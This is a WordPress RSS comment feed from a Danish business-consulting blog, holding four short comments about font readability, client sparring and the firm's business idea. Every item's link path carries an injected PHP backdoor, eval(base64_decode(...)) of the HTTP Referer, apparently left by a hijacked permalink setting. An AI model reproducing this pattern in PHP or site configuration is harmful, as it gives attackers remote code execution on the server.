<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
<channel>
	<title>Kommentarer til Effektiv virksomhedsrådgivning til ledelse og direktion. En god sparringspartner!</title>
	<atom:link href="http://www.virkdom.dk/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.virkdom.dk</link>
	<description>Virksomhedsrådgiveren - effektiv ledelses og forretningsrådgivning til mindre og mellemstore virksomheder</description>
	<pubDate>Sun, 20 May 2012 19:38:48 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Kommentar til God sparring til ledelse og mellemledere af Bo Otterstrøm</title>
		<link>http://www.virkdom.dk/2008/07/31/god-sparring-til-ledelse-og-mellemledere/%&amp;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&amp;%/comment-page-1/#comment-6</link>
		<dc:creator>Bo Otterstrøm</dc:creator>
		<pubDate>Fri, 03 Oct 2008 07:29:13 +0000</pubDate>
		<guid isPermaLink="false">http://www.virkdom.dk/2008/god-sparring-til-ledelse-og-mellemledere/#comment-6</guid>
		<description>Alle skrifttyper i bloggen skulle nu være blevet større og mere læsbare - tak for indput!</description>
		<content:encoded><![CDATA[<p>Alle skrifttyper i bloggen skulle nu være blevet større og mere læsbare - tak for indput!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Kommentar til God sparring til ledelse og mellemledere af Dorte Boe</title>
		<link>http://www.virkdom.dk/2008/07/31/god-sparring-til-ledelse-og-mellemledere/%&amp;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&amp;%/comment-page-1/#comment-5</link>
		<dc:creator>Dorte Boe</dc:creator>
		<pubDate>Tue, 26 Aug 2008 22:56:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.virkdom.dk/2008/god-sparring-til-ledelse-og-mellemledere/#comment-5</guid>
		<description>Denne skrifttype er helt umulig at læse !</description>
		<content:encoded><![CDATA[<p>Denne skrifttype er helt umulig at læse !</p>
]]></content:encoded>
	</item>
	<item>
		<title>Kommentar til Virksomhedsgennemgang af Bo</title>
		<link>http://www.virkdom.dk/2008/03/31/virksomhedsradgiver-der-finder-skjulte-ressourcer/%&amp;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&amp;%/comment-page-1/#comment-4</link>
		<dc:creator>Bo</dc:creator>
		<pubDate>Fri, 16 May 2008 13:41:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.virkdom.dk/2008/virksomhedsradgiver-der-finder-skjulte-ressourcer/#comment-4</guid>
		<description>Når Virksomhedsrådgiveren har været på besøg hos en virksomhed for at give tilbud på en virksomhedsgennemgang, vil det første møde ofte resultere i en god dialog som samtidig er en god sparring for virksomheden. Det synes vi er helt fint, for kun gennem den gode dialog opnås den gode sparring, som meget hurtigt kan vise sig at være det, der skal til for at give virksomheden de værktøjer der er med til at skabe og sikre overblikket. Nogen gange vil det endda vise sig, at det virksomheden troede var behovet i realiteten var et helt andet behov - og at mange virksomheder mangler det friske syn på virksomheden, som en udefrakommende kan give. 

Virksomhedsrådgiveren kan ofte være den katalysator, der sætter tankerne i gang hos virksomhedens ledelse og direktion. Meget ofte er man kørt fast i nogle rutiner og praktikker, og her vil dialogen og sparringen med virksomhedsrådgiveren i mange tilfælde være det, der skal til for at komme videre på en fornuftig måde. 

En af kunderne udtrykte det på en sjov måde: "Vi vil gerne have lektier for, for så ved vi, at vi bliver hørt - og vi bliver tvunget til at bruge ressourcer på det, vi ellers nok ville sætte i baggrunden". Det var lidt af en øjenåbner for mig -  og det fortalte ret så præcist, hvad er en god sparring kan gøre for virksomheden: Sparringen kan hjælpe til selvhjælp! Virksomhedsrådgiverens rolle bliver fremover at deltage i opfølgningsmøder og her fortsat fungere som katalysator for fortsat innovation og udvikling gennem en god og effektiv sparring.</description>
		<content:encoded><![CDATA[<p>Når Virksomhedsrådgiveren har været på besøg hos en virksomhed for at give tilbud på en virksomhedsgennemgang, vil det første møde ofte resultere i en god dialog som samtidig er en god sparring for virksomheden. Det synes vi er helt fint, for kun gennem den gode dialog opnås den gode sparring, som meget hurtigt kan vise sig at være det, der skal til for at give virksomheden de værktøjer der er med til at skabe og sikre overblikket. Nogen gange vil det endda vise sig, at det virksomheden troede var behovet i realiteten var et helt andet behov - og at mange virksomheder mangler det friske syn på virksomheden, som en udefrakommende kan give. </p>
<p>Virksomhedsrådgiveren kan ofte være den katalysator, der sætter tankerne i gang hos virksomhedens ledelse og direktion. Meget ofte er man kørt fast i nogle rutiner og praktikker, og her vil dialogen og sparringen med virksomhedsrådgiveren i mange tilfælde være det, der skal til for at komme videre på en fornuftig måde. </p>
<p>En af kunderne udtrykte det på en sjov måde: &#8220;Vi vil gerne have lektier for, for så ved vi, at vi bliver hørt - og vi bliver tvunget til at bruge ressourcer på det, vi ellers nok ville sætte i baggrunden&#8221;. Det var lidt af en øjenåbner for mig -  og det fortalte ret så præcist, hvad er en god sparring kan gøre for virksomheden: Sparringen kan hjælpe til selvhjælp! Virksomhedsrådgiverens rolle bliver fremover at deltage i opfølgningsmøder og her fortsat fungere som katalysator for fortsat innovation og udvikling gennem en god og effektiv sparring.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Kommentar til Idegrundlag af Bo Otterstrøm</title>
		<link>http://www.virkdom.dk/2008/02/04/idegrundlag-for-virksomhedsraadgiveren/%&amp;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&amp;%/comment-page-1/#comment-1</link>
		<dc:creator>Bo Otterstrøm</dc:creator>
		<pubDate>Mon, 04 Feb 2008 15:00:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.virkdom.dk/?p=1#comment-1</guid>
		<description>Som partner i Virksomhedsrådgiveren er det mig en fornøjelse af byde ind med en kommentar til vores egen tekst - dog håber jeg at der kommer andre indlæg som er mere brugbare :-)

Mit mål med at vise vores indegrundlag er, at inspirere andre virksomheder til at tænke over, hvorfor de eksisterer som virksomheder - og i endnu højere grad inspirere dem til at gennemgå deres virksomhed med henblik på at se om det nu er som det skal være. Tjener virksomheden de penge den skal? Har virksomheden fokus på kerneområderne eller er man på vej mod helt andre og måske ukendte mål?

Vi hører meget gerne om virksomheders idegrundlag og om, hvordan man forfølger grundlaget for at sikre en optimal indtjening.</description>
		<content:encoded><![CDATA[<p>Som partner i Virksomhedsrådgiveren er det mig en fornøjelse af byde ind med en kommentar til vores egen tekst - dog håber jeg at der kommer andre indlæg som er mere brugbare <img src='http://www.virkdom.dk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Mit mål med at vise vores indegrundlag er, at inspirere andre virksomheder til at tænke over, hvorfor de eksisterer som virksomheder - og i endnu højere grad inspirere dem til at gennemgå deres virksomhed med henblik på at se om det nu er som det skal være. Tjener virksomheden de penge den skal? Har virksomheden fokus på kerneområderne eller er man på vej mod helt andre og måske ukendte mål?</p>
<p>Vi hører meget gerne om virksomheders idegrundlag og om, hvordan man forfølger grundlaget for at sikre en optimal indtjening.</p>
]]></content:encoded>
	</item>
</channel>
</rss>

